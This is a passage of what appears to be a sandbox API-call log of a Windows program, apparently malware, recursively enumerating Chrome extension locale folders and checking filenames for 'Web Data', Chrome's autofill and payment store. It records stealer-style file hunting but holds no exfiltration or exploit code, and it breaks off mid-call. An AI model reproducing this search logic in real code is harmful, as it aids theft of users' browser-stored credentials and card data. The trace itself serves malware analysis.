[0054.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0054.361] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.362] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.362] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.362] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.362] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.362] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.362] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.362] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.362] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.362] LocalFree (hMem=0x74cf00) returned 0x0 [0054.362] LocalFree (hMem=0x74d010) returned 0x0 [0054.362] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.362] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0054.362] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0054.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.362] lstrlenA (lpString="\\") returned 1 [0054.362] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.362] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.362] lstrlenA (lpString="da") returned 2 [0054.362] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.362] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0054.362] LocalFree (hMem=0x74cf00) returned 0x0 [0054.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0054.362] lstrlenA (lpString="\\*.*") returned 4 [0054.362] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.362] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0054.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0054.362] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.363] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.363] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.363] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.363] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.363] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.363] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.363] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.363] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.363] LocalFree (hMem=0x74cf00) returned 0x0 [0054.363] LocalFree (hMem=0x74d010) returned 0x0 [0054.363] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.363] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0054.363] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0054.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.363] lstrlenA (lpString="\\") returned 1 [0054.363] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.363] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.363] lstrlenA (lpString="de") returned 2 [0054.363] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.363] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0054.363] LocalFree (hMem=0x74cf00) returned 0x0 [0054.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0054.363] lstrlenA (lpString="\\*.*") returned 4 [0054.363] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.363] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0054.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0054.363] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.364] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.364] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.364] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.364] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.364] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.364] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.364] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.364] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.364] LocalFree (hMem=0x74cf00) returned 0x0 [0054.364] LocalFree (hMem=0x74d010) returned 0x0 [0054.364] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.364] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0054.364] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0054.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.364] lstrlenA (lpString="\\") returned 1 [0054.364] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.364] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.364] lstrlenA (lpString="el") returned 2 [0054.364] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.364] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0054.364] LocalFree (hMem=0x74cf00) returned 0x0 [0054.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0054.364] lstrlenA (lpString="\\*.*") returned 4 [0054.364] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.364] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0054.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0054.364] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.365] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.365] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.365] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.365] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.365] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.365] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.365] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.365] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.365] LocalFree (hMem=0x74cf00) returned 0x0 [0054.365] LocalFree (hMem=0x74d010) returned 0x0 [0054.365] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.365] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0054.365] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0054.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.365] lstrlenA (lpString="\\") returned 1 [0054.365] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.365] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.365] lstrlenA (lpString="en_GB") returned 5 [0054.365] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74d010 [0054.365] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0054.365] LocalFree (hMem=0x74cf00) returned 0x0 [0054.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0054.365] lstrlenA (lpString="\\*.*") returned 4 [0054.365] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75e920 [0054.365] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0054.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0054.365] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.366] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.366] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.366] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.366] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.366] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.366] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.366] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.366] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.366] LocalFree (hMem=0x75e920) returned 0x0 [0054.366] LocalFree (hMem=0x74d010) returned 0x0 [0054.366] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.366] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0054.366] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0054.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.366] lstrlenA (lpString="\\") returned 1 [0054.366] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.366] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK 